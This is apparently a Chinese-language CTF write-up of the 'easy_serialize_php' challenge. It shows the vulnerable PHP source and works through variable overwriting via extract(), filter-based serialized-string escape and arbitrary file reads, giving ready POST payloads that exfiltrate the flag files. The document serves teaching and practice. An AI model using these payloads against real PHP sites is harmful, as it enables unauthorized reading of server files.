[安洵杯 ]easy_serialize_php
- ctf
- 2023-08-16
- 1542热度
- 0评论
先看源码吧
<?php
$function = @$_GET['f'];
function filter($img){//是一个过滤器,把符合filter_arr里面的字符替换为空(满足字符串逃逸的条件)
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);//把$_SESSION重置为空
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);//这里就用了变量覆盖的知识
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));//把序列化后的$_SESSION用filter函数过滤
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){//ta没骗人,确实能找到一些东西
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
这里注意extract($_POST);
就是将post的内容作为这个函数的参数。
然后就是变量覆盖。如果post传参为_SESSION[flag]=aaa,那么$_SESSION["user"]和$_SESSION["function"]的值都会被覆盖。
至于为什么post要传_SESSION[flag]=aaa而不是$_SESSION[flag]=aaa,是因为_SESSION是变量名,如果传$_SESSION,那么就会失效。
先传参phpinfo看看吧,发现d0g3_f1ag.php文件,意思是页面底部加载文件,即require()。

应该是通过最后一个语句拿到内容。
else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
对文件名有一次解码所以要对其进行一次base64编码
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
只能让img_path为空,并把guest_img.png逃逸出去。
因为我们要让img的内容为d0g3_f1ag.phpbase64编码后的字符串,所以要传_SESSION[img]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
但我们得到的是

因为在变量覆盖后面,又重新给$_SESSION[img]赋值了,所以这个时候就要使用filter函数了,
如果我们传的是_SESSION[imgphp]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
那么得到的是
a:2:{s:6:"img";s:39:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
这里就有字符串逃逸的意思了
什么意思呢?
就是把前面的"img";s:39:"当成数组名,后面的数组就变成img值为我们要读取的文件了,这里有个细节问题,这里img";s:39:是十个字符,前面却是s:6,怎么变成10呢?那就多转换几个比如改成imgphpflag
这样可以吗?
_SESSION[imgphpflag]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
试了一下不行,什么原因咧
又是一个细节,我们刚刚输入的序列化结果,前面a:2意思是要俩数组,中间缺一个元素

简单,直接再后面加上s:3:"123"来构造。
_SESSION[imgphpflag]=;s:3:"123";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
得到
a:2:{s:10:"img";s:50:";s:3:"123";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
再序列化看看

应该没问题了,来到页面,看页面源代码

这好办一样的操作就是把img的值换成d0g3_fllllllag
_SESSION[imgphpflag]=;s:3:"123";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

